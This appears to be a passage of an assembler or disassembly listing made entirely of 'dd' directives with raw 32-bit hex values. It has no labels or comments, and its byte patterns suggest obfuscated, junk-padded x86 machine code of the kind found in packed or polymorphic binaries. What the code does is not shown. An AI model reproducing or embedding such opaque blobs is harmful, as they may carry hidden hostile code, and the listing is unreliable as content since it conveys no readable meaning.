dd 526F6914h, 592BBF52h, 585A7EBEh, 66F08B66h, 0F281F08Bh
dd 584E8C45h, 0E960CE8Ah, 0Dh, 74F779E6h, 14BAA2C6h, 0B789D0FDh
dd 7387BB1Fh, 66614B58h, 8B66FE8Bh, 0DE9D0h, 3B520000h
dd 39E037h, 729BAC45h, 8149AB6Fh, 3E9556F1h, 0B3C68A6Eh
dd 0CE8B6603h, 0DE81FE8Ah, 55F6DDC3h, 0AE960h, 0FD480000h
dd 0F35030FCh, 690C39D4h, 0C6C18166h, 8F0F611Fh, 2, 9DB250B5h
dd 706EBB66h, 66FABF0Fh, 0B8461ABBh, 707DEF5Eh, 0DE8h
dd 4584DE00h, 0DC4A16B8h, 0B841483h, 7E980C2h, 0BB000000h
dd 70562944h, 0F59A635h, 488h, 1CBA6600h, 0BB66F8A4h, 0E2B6AF27h
dd 0E4A7C681h, 800F0F0Ah, 0Bh, 5820Fh, 81660000h, 0E9EE02F1h
dd 0Ch, 0AAD7D37Ch, 83D2CA6Eh, 0A7B08772h, 0E9F7B70Fh
dd 5, 9F3A352Ch, 5860F31h, 66000000h, 6DE2D781h, 12E960h
dd 220000h, 0B31CF4D4h, 1490230Bh, 77FAAFD3h, 0F6950D6Eh
dd 5850F61h, 0BE000000h, 61742CBBh, 78E8BA66h, 6ABDBE66h
dd 2830Fh, 9AB30000h, 6614B660h, 21DAD181h, 2810F61h, 8B000000h
dd 7FB866F3h, 0CE8B66DEh, 0A7B3D081h, 0E3817D9Eh, 53473297h
dd 62B5D781h, 9E918C7h, 0BC000000h, 952B7136h, 4CE56A84h
dd 2860Fh, 0F88B0000h, 0E9B9CD80h, 9, 0ED925579h, 0D25209A7h
dd 1ED0817Bh, 0F3CCE28h, 148Eh, 0FE900h, 3A1A0000h, 58F508EEh
dd 98115843h, 9940E536h, 0AEE7814Dh, 664301EFh, 0C593E081h
dd 80DA8B66h, 0B966DEECh, 0BE661C27h, 0AE9F33Eh, 5B000000h
dd 0A8556FBCh, 0EAEC6D80h, 0C68B668Ch, 10E8h, 5B85A00h
dd 446EBC4Ch, 0A14F9B2h
dd 4262D6CAh, 9E95FE3h, 0CD000000h, 7612DD7Dh, 0D7466067h
dd 53CB8B66h, 5BD7BF0Fh, 0BE9h, 0CDADD800h, 2B4C1A1Ch
dd 0CB9FB466h, 66C88B60h, 22A3C181h, 92E98061h, 5392BE66h
dd 14E8h, 0E5154D00h, 4EB018ADh, 0F586F9A4h, 1399396h
dd 269065B1h, 7E95A34h, 31000000h, 0A6991B07h, 8B667D61h
dd 7E9F0h, 0FAA10000h, 6A349469h, 60CB8A35h, 4890Fh, 0BA660000h
dd 0E78AE167h, 6FBF5661h, 5F7F4743h, 13CE8056h, 48A0F5Bh
dd 66000000h, 810A1FB9h, 0E5F979CBh, 1EE814Ah, 0F4428E4h
dd 8B66DAB7h, 4BBE66D1h, 0D680605Ah, 68D0F05h, 81000000h
dd 118D7AEEh, 860F612Eh, 1Eh, 18880Fh, 12E80000h, 5B000000h
dd 561795F4h, 700B2226h, 0FDFBE2D0h, 0EFA20D7Dh, 8B95848h
dd 0E8701D17h, 0Fh, 0D36F01Fh, 282548EDh, 7E5FF0FEh, 6601BFAFh
dd 665FD68Bh, 0F68BC981h, 12C2F5B9h, 8B66566Dh, 59565ADEh
dd 4840FF5h, 66000000h, 0F7A2BB9h, 168Dh, 0DE800h, 7F230000h
dd 6A34B7Ch, 0D11D7CD9h, 0F18297Eh, 0F5BD3BFh, 188h, 0DE9F900h
dd 16000000h, 0B37AA0BAh, 1F750089h, 0D3B57DB5h, 4DCE8166h
dd 1ABF662Eh, 58C68096h, 5C2EFEBBh, 10BA6641h, 0C0BF0FCCh
dd 12E8h, 0A0E1700h, 3DB8A28Ch, 1C9553A1h, 62483482h, 6076BBB4h
dd 0D6E7CF81h, 8B665745h, 665A61C2h, 92B7F28Bh, 0C081CDB1h
dd 76F74A42h, 71BB40B8h, 0E9F8B17Fh, 14h, 24544A9Eh, 92B8816Ch
dd 923EC072h, 0AA913888h, 7CB41D8h, 80F13FBAh, 0BB7FBB15h
dd 8B664E71h, 48D0FD6h, 66000000h, 0B9FEDEBFh, 73AAC736h
dd 8BC7B70Fh, 97D880C7h, 88E0Fh, 0F600000h, 0BF0FFAB7h
dd 816661FFh, 0F3BFDC3h, 580h, 0E8816600h, 0C38B3583h
dd 0F2BA66F5h, 0D68B6696h, 0F081EF8Ah, 0C5BFC03h, 0FD6B70Fh
dd 0C880C7BFh, 1D7BBFEAh, 9FB031C8h, 0F9CFB70Fh, 908EA81h
dd 0F2BB6BE6h, 0FC2E9730h, 66D1B70Fh, 0BE21F081h, 0B866F08Bh
dd 60FCC5D8h, 0AE9h, 60BCBE00h, 0A78ECC45h, 0F96E4890h
dd 1D9BBF61h, 0E6BF3009h, 0F559976h, 118Ch, 0CE900h, 0AEAF0000h
dd 72CE29CCh, 0E1C98A64h, 0EE9EE08h, 0AC000000h, 6E445A5Fh
dd 1EEF287Ch, 44E9A854h, 0EBD480B7h, 0D08BB4B3h, 17E18166h
dd 66E58A9Ch, 8BA7C081h, 0BA6660F9h, 10E99A26h, 39000000h
dd 0F9ABBF39h, 8C9AAFF3h, 33A7F752h, 61338A56h, 25C9BB66h
dd 14E90BB3h, 81000000h, 8FEA4169h, 0FCCF2A27h, 21F7FCEAh
dd 7B1C3C3Bh, 80C95FB1h, 840FD0D3h, 6, 870Fh, 2CB30000h
dd 0E810Fh, 9E90000h, 6A000000h, 2A1F24A5h, 0F7279297h
dd 0C3BF0F60h, 164BFAB9h, 0D2806174h, 9E9EEh, 2DCD0000h
dd 9FCA6D7Eh, 6613E981h, 0D2CBE781h, 58B0Fh, 15B90000h
dd 0E92F65E0h, 0Dh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h, 0CAB70F89h
dd 0BDBABE66h, 2C96BF66h, 0E9FEB70Fh, 9, 0BA057600h, 102CCDBDh
dd 1B7ABE14h, 0BE665B66h, 0FE8922Fh, 91000000h, 978E7C94h
dd 0CB4D0D96h, 7ABDE963h, 0BB66B1AEh, 0BA597454h, 2B53204Ah
dd 0A9C38166h, 0EE88Fh, 3B6D0000h, 894AA578h, 610A9549h
dd 82F25739h, 6840Fh, 8C0F0000h, 0
dd 1CE9B85Fh, 0CE94985h, 2B000000h, 39F7C93h, 0E32E5D78h
dd 57194C50h, 0E8F0Fh, 8E80000h, 0E8000000h, 8CF4C4B6h
dd 5892EEE4h, 3870F5Eh, 66000000h, 66FCF28Bh, 1FA8E681h
dd 28D0Fh, 0F78B0000h, 2800Fh, 0D78B0000h, 57ACB866h, 8B70CE80h
dd 8B6660FEh, 61FBB1CAh, 80D2B70Fh, 0F56EBE3h, 589h, 730BE00h
dd 8A591E0Eh, 68E0FCFh, 81000000h, 15218AC2h, 0A6BE5752h
dd 584D652Fh, 8E860h, 0C39C0000h, 0AD23D6ADh, 0BE662036h
dd 0FC59A7F4h, 0DE961h, 3F4B0000h, 0E69A09FFh, 707B7D4Bh
dd 666BB8E0h, 6A9ADE81h, 80D8B70Fh, 81F91AF7h, 7D741CDBh
dd 10E96Eh, 0D8610000h, 0A590FA3Eh, 0EFF0EE12h, 8C5928F6h
dd 0FCF8FADBh, 4567DB81h, 0F501918h, 286h, 5AFC8A00h, 0AAE98160h
dd 660EEB65h, 0F61C78Bh, 138Fh, 0EE900h, 8E840000h, 1BB9CA0Fh
dd 66194D1Bh, 3546DE1Ah, 0E9F56060h, 0Ch, 5409D14Eh, 77FDA53Dh
dd 4E005C4Bh, 5E861h, 2FB30000h, 0E96762EDh, 7, 0B0877283h
dd 5ED792A7h, 8B666061h, 585161DEh, 0DE8B66F9h, 870F6052h
dd 0
dd 61C3B70Fh, 0F2B9665Fh, 2653BE67h, 0C28B306Ch, 60605FB2h
dd 0A198E681h, 0B70F2DBDh, 8B0F61F9h, 0Ah, 5E9h, 0CB8CE900h
dd 66614DE0h, 0FA817B8h, 5060D8BFh, 0B8E88166h, 0BF0F5EC9h
dd 0BF6661F3h, 4FB00068h, 5199EE81h, 8B660E82h, 3810FFAh
dd 0F000000h, 0B9FCD0B7h, 32D641D8h, 0C0BE6650h, 12E959B1h
dd 8B000000h, 0F7F6C7Ah, 0CD059B35h, 781AB004h, 0A2E360EAh
dd 0E94CB075h, 10h, 288C781Ch, 9FC8CE1Fh, 5E98A9FFh, 7E623A26h
dd 0F4BB6650h, 0DE9584Ah, 0E1000000h, 5776C219h, 0F9625729h
dd 735845E4h, 0D0C28166h, 11E901h, 30C10000h, 0A281B6EFh
dd 3B28D89Bh, 3F909495h, 80E086AAh, 0BF0F07C6h, 8A0F60CBh
dd 6, 860Fh, 59B60000h, 7E961h, 600B0000h, 5A9722FAh, 0FEBF0F8Ch
dd 0E9C8BF0Fh, 9, 13FE9D60h, 0FA53B0B3h, 18A0F53h, 0F8000000h
dd 0FF98B66h, 285h, 53FB8B00h, 12E856h, 6A460000h, 0C65F885Fh
dd 0DD5CF6ABh, 0E49939BBh, 5B3B06E5h, 8B5F5F5Fh, 0D38B66CFh
dd 0B8C0Fh, 8F0F0000h, 5, 0BDD5CFBAh, 5E83Ch, 46EF0000h
dd 0E9A40774h, 11h, 6BEB9273h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh
dd 14E959E2h, 6B000000h, 0CEE1D7D0h, 0AB657A3Ah, 436DA10Fh
dd 0BFA7731Fh, 66B03349h, 3D02E681h, 11E8h, 4852EF00h
dd 0F41B4C0h, 86C660E7h, 0E62E16F4h, 8166B607h, 5B8869E9h
dd 0C78045B1h, 696BBA6h, 810F1F10h, 0Ah, 0F616060h, 8Eh
dd 8A0F6100h, 3, 0E9FBB70Fh, 10h, 7D79BC2Dh, 0F73D5ED1h
dd 4EB5558h, 864532C6h, 0D78B6656h, 14E859h, 0B6E10000h
dd 513E71D3h, 8ABD06Fh, 0E4465F08h, 6396C5C8h, 0BE9CF0Ah
dd 0B0000000h, 25206D6Ch, 0A710F5B0h, 0E95E7C32h, 8, 74C2375Dh
dd 0A47139A3h, 60C88B66h, 59F88B52h, 11E9h, 0E6535C00h
dd 465C9112h, 0C45A02Bh, 9E8818D5h, 81615E4Dh, 0B6A327EBh
dd 0BDB76030h, 3880F61h, 80000000h, 51B258D2h, 1890Fh
dd 0E9FC0000h, 14h, 37AD0A09h, 68908792h, 913AFF9Ah, 0A637D134h
dd 866181E7h, 0FF927B2h, 8166C2B7h, 60B3D0DBh, 0C2BCBB52h
dd 0E9590B5Dh, 14h, 16BF8E74h, 7D54C957h, 7AFB315Eh, 0B1ADB47Ch
dd 0D0EDC5D9h, 7E9FC61h, 67000000h, 4FEF7F0Ch, 0D18BF0BDh
dd 3D021B9h, 0F3B70F55h, 0CE9h, 0E3CEC800h, 55D5A3B0h
dd 74D98E66h, 4850FB0h, 66000000h, 668603B9h, 0F6ED6BBh
dd 385h, 1CF68000h, 0EE9h, 0C251DB00h, 0D6B6EAFEh, 0C1AD8486h
dd 668DF397h, 81F8C28Bh, 0FFF1D1F2h, 0FDA8A20h, 0E8Dh
dd 9E900h, 0B41B0000h, 79635B32h, 81B6D54Ah, 8523AAE9h
dd 52EB815Dh, 0BB2B13E1h, 6556ABB5h, 5E8h, 8BF1B400h, 8B668FEEh
dd 0B5535BC7h, 0F2BE5B65h, 0B233A0ADh, 6E9FAh, 4EDD0000h
dd 0A02A9E2Fh, 5E8h, 480EC500h, 6659CE0Ch, 66477EBEh, 0FFCC68Bh
dd 387h, 0D8BF0F00h, 8A0Fh, 860F0000h, 0Ah, 5E9h, 84EFAE00h
dd 0BE667B84h, 0CFB2D1EAh, 0CB8B5360h, 0FA8B6158h, 14E9h
dd 0E4621800h, 0F8B25D74h, 0C9F42F84h, 0F2D875BBh, 30983BCDh
dd 0DE91Ch, 0E8A00000h, 298EF69Dh, 3B62F988h, 81A3C627h
dd 1230AD3h, 0E7816669h, 6660973Dh, 0B966FE8Bh, 0E961BDDAh
dd 12h, 654AA9B1h, 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 81661D63h
dd 0E931A5D3h, 8, 6617E597h, 55EC2678h, 0D9B0E781h, 0AE96E34h
dd 77000000h, 0A6252633h, 4C5968A5h, 8A0FF8B0h, 2, 0BF0FF18Bh
dd 6860FC2h, 60000000h, 61606160h, 0CB816661h, 0B866105Fh
dd 0BE66EDC8h, 6E895ECh, 61000000h, 0C13A4FD6h, 0BF665166h
dd 585A4E62h, 59F98B50h, 8D0FDE8Ah, 5, 9D38166h, 7C2810Ch
dd 660BFD76h, 0F2240BAh, 1383h, 0EE900h, 8E60000h, 0F9B3EA7Dh
dd 873FE3ABh, 997C7577h, 58565060h, 4850F5Eh, 66000000h
dd 61B212BBh, 0FFBB70Fh, 28Dh, 81F2B500h, 0DC1716EEh, 0E8C28B76h
dd 0Ch, 0FE4B09DEh, 0CE69C4B1h, 0FA600BB2h, 5EF2BF0Fh
dd 9D50B966h, 0FE8h, 4A92E000h, 0C350A0B0h, 74D74DC1h
dd 0F641BDE6h, 5259DF8Bh, 6870Fh, 850F0000h, 0
dd 9E85Ah, 9C6E0000h, 0F9D56F3Ch, 0FC974E75h, 0B8F0F58h
dd 0E9000000h, 6, 0CB99964Bh, 0CA808DBFh, 0FFEB4F4h, 386h
dd 0F78B6600h, 6075D980h, 51D7E181h, 0BF0F6930h, 99B861FEh
dd 501A9482h, 61EDEA81h, 0F55F06EFh, 0FC20E081h, 0B70F7ACFh
dd 28F0FD2h, 8B000000h, 0CF81FCC6h, 5302EE3Bh, 9B08AFB8h
dd 0C8A0F1Ah, 0F000000h, 68Fh, 810F00h, 0F000000h, 584h
dd 1BCABE00h, 0EA8A38A7h, 0BE960F8h, 81000000h, 76340042h
dd 0DABA5001h, 81664440h, 610216CAh, 0E9C1BF0Fh, 0Dh, 5965FD8h
dd 9F8AEA9Ah, 4F37C041h, 7635B995h, 0BF0F13FBh, 8C0FF5FBh
dd 4, 124B866h, 929FB966h, 19820Fh, 14E90000h, 0FB000000h
dd 0E61C5958h, 9EFE955h, 5623512Ah, 9C62E0BAh, 0F0BA410h
dd 588h, 0E6816600h, 0E860E6D3h, 14h, 2792972Ah, 0FC68E2F7h
dd 0BB9F644Dh, 4BCA51F3h, 78FC85C1h, 6830F5Ah, 0F000000h
dd 86h, 0BA666100h, 41B33C84h, 0DE8h, 54CCCB00h, 0A1049C96h
dd 0C710D554h, 0F602647h, 87h, 0E3816600h, 5F616244h, 0FFB8B66h
dd 0EE9C8B7h, 0B8000000h, 0AF38C6DAh, 7887EA09h, 0F63173D1h
dd 0E681668Ah, 0FFC4D7Eh, 1785h, 11860F00h, 0E9000000h
dd 0Ch, 3F91C7BAh, 0E2E95E65h, 8DC6E95Ah, 0AE9h, 0A8FB0F00h
dd 43F57536h, 8BBB5E27h, 0FA1B0C7h, 2682h, 10E800h, 794D0000h
dd 240E290Ch, 0C1E6104Eh, 0CFBAFF1Ah, 0BE9A70Ch, 0DA000000h
dd 0D590CAF4h, 0F3A47804h, 0E85976E8h, 0Dh, 0EA505179h
dd 7960E088h, 9E02A499h, 0F0805247h, 665A5BF7h, 0FE9AD881h
dd 0EF9CCB81h, 14E92183h, 40000000h, 7753DBD3h, 467290D1h
dd 70A98751h, 66C5D82Eh, 60C0D07Eh, 7E9h, 447C2A00h, 7D4C118h
dd 0CE9h, 265A7100h, 0E979907Eh, 2EE4CC7Bh, 96BE6144h
dd 663A026Fh, 0B390B6BAh, 69BE669Dh, 2EEF81D0h, 53082E79h
dd 3C6739BAh, 6660581Ch, 78CAE081h, 0FB8B61F5h, 4830Fh
dd 0BF660000h, 7E9FFEDh, 0F5000000h, 0B3B4FA9Ah, 8E9AC03h
dd 94000000h, 0B3280026h, 0BEBA99B7h, 347F5936h, 8E9h
dd 0CA423300h, 746C491Eh, 0AE9FCA5h, 0A1000000h, 5535E90Bh
dd 241D61C6h, 0D98BF897h, 7DF780F9h, 0BE8F38Bh, 0D3000000h
dd 0F75E8B01h, 76969EC3h, 605A8FC3h, 2F23BF66h, 8A613DB2h
dd 57F681F0h, 0F03BCB2h, 381h, 0EADB8000h, 0C6E18166h
dd 0E28160B5h, 4A56CD1Dh, 14E961FCh, 65000000h, 53EE074Eh
dd 0E8FFD898h, 723B6FC2h, 576B54CFh, 0FDD47C4h, 87h, 0F6BE6600h
dd 0C28B665Bh, 840F5951h, 0Ah, 5E9h, 0E4896F00h, 14E8B615h
dd 74000000h, 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0D9B1ADB4h
dd 8BD0EDC5h, 11E959F1h, 60000000h, 0BA9E7F75h, 91A26718h
dd 0B2B9138Ch, 0E75B95Ch, 0FE8BF560h, 38B0F61h, 0F000000h
dd 6660F2BFh, 0BE73DDBAh, 240DCEADh, 1DD88161h, 8B53EB57h
dd 5E9D8h, 70250000h, 0E9AFA8EAh, 9, 4DF8613Bh, 783BD88h
dd 5E80Dh, 879F0000h, 515A1817h, 5B5BC88Bh, 6E9h, 74221900h
dd 0F09D443h, 81h, 850F6000h, 2, 61F95F50h, 0F1BF0F60h
dd 0AAB7EDBFh, 890F6178h, 4, 0E2C6BA66h, 6870Fh, 0F6810000h
dd 6774A2F6h, 9864D281h, 8BFC2BDDh, 8DDE81F2h, 0FC758EBEh
dd 7E9h, 0BBDA9700h, 0F65E62Ch, 0BED68B66h, 5F60B811h
dd 0FE957h, 9AA00000h, 690231C7h, 9C934B8Ch, 72452653h
dd 91BB5AE9h, 0F85DDE13h, 12E9h, 0E58E7A00h, 2399BE28h
dd 737B769Eh, 0C7BFC543h, 0F9A46EDCh, 5870Fh, 81660000h
dd 8B6E82EAh, 0A2D580C6h, 8BC2B70Fh, 1860FD0h, 0F5000000h
dd 0DE8166F8h, 9AB2DD93h, 0C8BF0F52h, 4DBB665Bh, 5870F57h
dd 66000000h, 60FDC381h, 0F2D38166h, 0C381667Eh, 0EB800CF3h
dd 11E9C8h, 4E000000h, 2F018F74h, 598889ABh, 0CD304FACh
dd 0E93BFD01h, 0Ch, 2D9941Ch, 7B947681h, 55183889h, 0FE9h
dd 0DCBF9400h, 9D9195E6h, 47D5A5E5h, 67529C84h, 72B358B3h
dd 58E0Fh, 0E9BF0000h, 660B3257h, 0F9D4CB9h, 0D98BF8BFh
dd 0BE6686B7h, 0FE93502h, 3C000000h, 0DBB90A5Dh, 0E010CD1h
dd 392F7F4Ch, 81668F25h, 60F753DEh, 0F6BF0FF9h, 5E861h
dd 0CD3B0000h, 812D146Ah, 0C1173C8h, 8E0F5843h, 5, 46DB8166h
dd 3850F40h, 0F000000h, 10E8C7B7h, 47000000h, 5AD43EAAh
dd 0E6DF4AABh, 0F43B9966h, 59ADC4B5h, 0A332B866h, 810FAEB0h
dd 3, 0FD38B66h, 0DE9C3B7h, 10000000h, 0D21EC580h, 0EFEF1F8Fh
dd 0F16E333Fh, 0AE9h, 62D88500h, 42112224h, 0E8C933F0h
dd 8, 0EF91D740h, 74A3C1C1h, 3F0AB966h, 0BF0F5159h, 81665BCBh
dd 0E8A50EEAh, 0Eh, 0D028A7D6h, 9D4704CAh, 0FE03E50Bh
dd 0F2810639h, 28C44C44h, 60575659h, 515E5961h, 0F5BCDB6h
dd 586h, 42D6BB00h, 70BE2431h, 0F80FDB97h, 5651F78Ah, 6178B966h
dd 8B665858h, 0D38BF5D8h, 0D78166F8h, 8166C2D8h, 664D4AC8h
dd 0DCBDC981h, 8104E480h, 37B2BFC9h, 0D9BE6616h, 9E856D8h
dd 76000000h, 62DACCB1h, 0FA62DEDEh, 5ACE8B66h, 0BE958h
dd 3B0E0000h, 0BE7DF403h, 1DB6E394h, 0CF816693h, 5E8555Fh
dd 26000000h, 7ED9A8E4h, 535FEC8Ah, 0B9F08166h, 0ECB25EDFh
dd 60C8BF0Fh, 0BF0F01B4h, 0C38B61FEh, 8C0FACB5h, 3, 0FCC9B70Fh
dd 0F441B966h, 5E9h, 5E7C4400h, 820F89E2h, 2, 5E8F38Bh
dd 88000000h, 38D6A006h, 0E9EB8A59h, 14h, 0CB8056B9h, 0BB4E91D4h
dd 0F810A070h, 205A4312h, 3624B688h, 8AF98B66h, 9E8FEh
dd 9A860000h, 4F8707ADh, 80E51FE5h, 815A1ED6h, 0BA538AC7h
dd 5AFDB834h, 0DE95B49h, 2C000000h, 479FE06Dh, 1201288Eh
dd 42FC67B2h, 0FCABF0Fh, 9E9CBBFh, 0D000000h, 2D5C6603h
dd 66581237h, 0EA8166F9h, 0BE9AF01h, 86000000h, 727BC774h
dd 27608E0Fh, 81665895h, 0E9F173E3h, 10h, 0BA893D10h, 6D6A3C29h
dd 7456B53Eh, 3D422C97h, 9FD46DB8h, 11E81Ah, 34F40000h
dd 4A1AEA0Ah, 0BEAEB108h, 62A8E747h, 5ABB5C54h, 0FEED780h
dd 5E8D9B7h, 40000000h, 0EB9F94CAh, 81CB8B59h, 0CD1C7C8h
dd 0AE943h, 0B6E70000h, 0B772D309h, 920399DEh, 0FC28B66h
dd 58Dh, 0C6816600h, 0D28134DCh, 6D85F9D8h, 66C78B66h
dd 15C5E281h, 36A803B9h, 6850F51h, 81000000h, 0B2BA5AC9h
dd 6E878h, 0E8560000h, 29C2AAE3h, 88C58060h, 8B0Fh, 5A610000h
dd 66D3BF0Fh, 8B66CF8Bh, 0FE8B66C6h, 0CE9h, 0BA10500h
dd 0C65535E9h, 97241D61h, 66DA8BDCh, 0CB8BDA8Bh, 0E8C1B70Fh
dd 12h, 33359783h, 0C6E63F7Ch, 0C82F28BCh, 0ACA07C26h
dd 58F95C64h, 4EF38166h, 0B9B966FDh, 0B2B866D4h, 0E3F681C9h
dd 0BA5BC185h, 1DC3D6D6h, 0CAF2BA66h, 0FFCF1B6h, 8E8D0BFh
dd 23000000h, 5F76DAC8h, 0FDFB8A4h, 565AD1B7h, 25EE8166h
dd 5FB45972h, 0E9F9D88Bh, 13h, 41D2F0BBh, 54E442BDh, 0BA5F4C6Eh
dd 4FE3BBAFh, 0E89116E1h, 10h, 0E5E49939h, 0A5B3B06h, 0DA45FE77h
dd 3D0D86C1h, 5AFB8B66h, 48C0Fh, 60530000h
dd 0F605961h, 682h, 8A0F00h, 56000000h, 8A0F6159h, 2, 0E950CA8Bh
dd 9, 3B23E42Fh, 6EB95786h, 8E95A5Fh, 0CB000000h, 6ABCE889h
dd 0FC8DEFEDh, 81CABF0Fh, 388A3BC7h, 2850F37h, 8B000000h
dd 0C78B57F1h, 10E85Ah, 8BA50000h, 69A1B392h, 0DB5EC7A1h
dd 4CD976FCh, 0EE810030h, 0B4A233Fh, 0CE95Ah, 0A7150000h
dd 1D64B21h, 9EC951B0h, 60B897DCh, 0F6E8E7Dh, 0BF0FF0BFh
dd 0FE8CAh, 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah
dd 5A12B21Bh, 64BE69B7h, 0B92049B1h, 0E5D494Ch, 0EE8h
dd 0F991F900h, 0BEF2FBE9h, 0C8B30BA3h, 0E9EF6CCAh, 0Fh
dd 7CC71FF7h, 0B52740F3h, 0EE836E95h, 5B20D3F7h, 13E8h
dd 0E4836C00h, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh
dd 0D5C8BE66h, 13E958h, 0ADF0000h, 0FCADC123h, 53A458C0h
dd 283C87EEh, 8056B9AFh, 0BA66CBh, 8095B83Ch, 0CB81132Dh
dd 633DD9DBh, 0C8B0Fh, 7E90000h, 0BD000000h, 0ADCFC135h
dd 0FCB09D2Ah, 626CBB66h, 6088D380h, 61F6BF0Fh, 39F38166h
dd 8166506Fh, 5F8159C6h, 6E9h, 71DE9F00h, 8B154343h, 66F8F8F1h
dd 0F40FD881h, 76F28166h, 56F38A8Ch, 6160FC60h, 0E9535E61h
dd 6, 9B8E58AAh, 0E958CFE4h, 13h, 6CCEBB2Ch, 0DDCCE273h
dd 48E7A7ABh, 56BB54DFh, 0BB8211E2h, 2F4D9DF1h, 0E1BE6651h
dd 81665B0Eh, 0F0165CAh, 870FCBB7h, 1Ah, 14E8h, 921A2200h
dd 2C2221ECh, 0CEC0E21Fh, 0F0F627EBh, 1028E7C7h, 81665E30h
dd 57C669EBh, 47A6FFBEh, 0C5B05B2Bh, 982DE781h, 66604EF3h
dd 511FA9BFh, 61585951h, 0C0DE81F8h, 5145099Fh, 0AE9h
dd 5B71C600h, 0A0E9DCB8h, 5BBD8393h, 984180B8h, 9CB9600Fh
dd 0F7CA84Fh, 288h, 61EC8A00h, 247881B8h, 48A0F40h, 66000000h
dd 8B8F2EB9h, 28D0FCEh, 8A000000h, 88C0FE6h, 53000000h
dd 810Fh, 605E0000h, 1800Fh, 61F50000h, 810F60F5h, 3, 0B8CEC980h
dd 209286DFh, 96C78161h, 0E937B694h, 10h, 2246C578h, 0D344956Bh
dd 0A9BA09DFh, 0E294AF4Dh, 0B805D280h, 52A35576h, 0CA81D08Ah
dd 282901F2h, 0C8BB46B6h, 0E87EBC3Ah, 12h, 69FAA172h, 356A3494h
dd 0DA70B588h, 0DC42058Eh, 7E8429Bh, 3000000h, 822B580Dh
dd 0EF818B79h, 60B98FA7h, 0F38B5E5Fh, 8E0Fh, 6E90000h
dd 47000000h, 369AF910h, 0BE9F7h, 2D4B0000h, 554117Ch
dd 6997C7E0h, 5BD3BA0Fh, 0CE911B3h, 55000000h, 0C6234100h
dd 95C29E97h, 5315A655h, 5EFFB70Fh, 58F0Fh, 0F1BA0000h
dd 0E90CC3A3h, 6, 6ABDD9F9h, 1CBAAA24h, 81098754h, 7926A2F7h
dd 8BADB115h, 0E18166F1h, 0F28B42EAh, 6E91DB7h, 0C4000000h
dd 9FBF4DB9h, 0FC78B6Ch, 0D08AC6B7h, 0EE0511BBh, 0E9E88A22h
dd 7, 0B7E0957Fh, 0F9EF83Ch, 1985h, 14E900h, 5A2C0000h
dd 0D3F37D93h, 0CAE5601Ch, 49DC9887h, 0DF72AB62h, 8C0FE35Eh
dd 4, 5B5E5157h, 60C18166h, 11E8F9B5h, 0B1000000h, 658BE65Ah
dd 14EA64D2h, 619B11ADh, 0E9F40F58h, 78B0F5Ah, 56000000h
dd 25E78166h, 0DBB65B0Ah, 12E9h, 821A3200h, 0DDB05D52h
dd 3E37F9A7h, 56E9CADFh, 81A22A30h, 32D817CFh, 0D9816669h
dd 9E9C61Eh, 35000000h, 600CFAC2h, 750940F5h, 8E2099B8h
dd 0F53F56Ch, 280h, 5BD38B00h, 0E86068B7h, 14h, 0BC63F9Ch
dd 0ED4122B4h, 9F03D4h, 33A958ABh, 0D19EC490h, 7E9h, 0F8BAFE00h
dd 0BEF3327Ch, 0D181665Eh, 0BE6107E8h, 2851182Dh, 0D3CE8166h
dd 0C68B668Dh, 8B4ED380h, 0B70F50DEh, 0F605FF2h, 88h, 28D0F00h
dd 50000000h, 0EE8615Bh, 1F000000h, 26F0AF29h, 63FF1914h
dd 2B0FD5FDh, 0CE81Bh, 0CF7D0000h, 0ED93CA09h, 0F5EB04BEh
dd 0CB8B1759h, 66605F58h, 0E97E70BFh, 9, 0A6236194h, 7A34A4DBh
dd 41B961DFh, 0E911F43Eh, 6, 746F352Bh, 0BE66D67Eh, 14E9C8E3h
dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh
dd 0FBAC08Eh, 0CE8BD3BFh, 60CABF0Fh, 616EB1FCh, 8C72F3BEh
dd 10E8F927h, 0E9000000h, 60C89915h, 0F00BA291h, 799FF202h
dd 5A09D34Eh, 8E0FD88Ah, 3, 0FD1BF0Fh, 48Ah, 0ACB96600h
dd 0F87B2F9h, 1180h, 8E800h, 8BBA0000h, 3E627AB9h, 0BF0FB7DCh
dd 8B665FC1h, 0D88B66F0h, 58B55E52h, 0ED08B966h, 0EE9h
dd 4ED25700h, 73D7D2B6h, 60770C7Fh, 6651CCB6h, 665A75B9h
dd 80F1E881h, 6EF2BA66h, 0ACB45760h, 61D7B45Eh, 800FEC8Ah
dd 3, 57D7B70Fh, 5EF3B70Fh, 8B66CB8Bh, 0E98166DEh, 8A0FB4BCh
dd 3, 66D98B66h, 603636BBh, 0DE9h, 0E14C5800h, 48095D35h
dd 0E7D8F0A1h, 81662A13h, 61C29AD2h, 6662B660h, 0F61F88Bh
dd 980h, 81F86000h, 494D5FE0h, 0E080617Dh, 0DEB70FC7h
dd 0E9D88B60h, 13h, 6B965D70h, 93E10279h, 260626F2h, 54223952h
dd 61CD429Ch, 8BC2B70Fh, 10E9D7h, 0B8080000h, 8A6B29C3h
dd 0E0D1E736h, 61FE7BD3h, 0D38B4065h, 49E8B866h, 0AE8h
dd 12624600h, 697C6595h, 0F132C76h, 0FC5ACFBFh, 4F0BBB66h
dd 1304E3B8h, 6A14BA6Ch, 8166562Bh, 0FED0DF2h, 8166C1B7h
dd 81FB02E8h, 81183DE7h, 13E840h, 28E50000h, 9E2399BEh
dd 43737B76h, 0DCC7BFC5h, 5999A46Eh, 0E9F860A3h, 0Fh, 63842C01h
dd 0FE2723B0h, 0C8762D75h, 610BBB57h, 8E959h, 80750000h
dd 2EF1E1F0h, 11E830CFh, 31000000h, 0D33F409h, 0A9BCFD88h
dd 0A8F470AFh, 5B822D09h, 0BE9h, 620EBF00h, 4EF43ECAh
dd 0F338EA0h, 0E681665Fh, 0B70FBD3Dh, 0FF48AFEh, 684h
dd 5F526000h, 66616160h, 3139C681h, 13E8h, 1AE48800h, 0BBC9704h
dd 0D098DBFAh, 1FC7181Ah, 0ECF23197h, 9E8h, 2D36D000h
dd 8B1C2C79h, 0B70F9C6Bh, 8A5F5EC6h, 0F6BF0FD9h, 8E32BA66h
dd 10E9h, 0C98B2A00h, 0C8778480h, 71C17F1Eh, 2B0EA65Ch
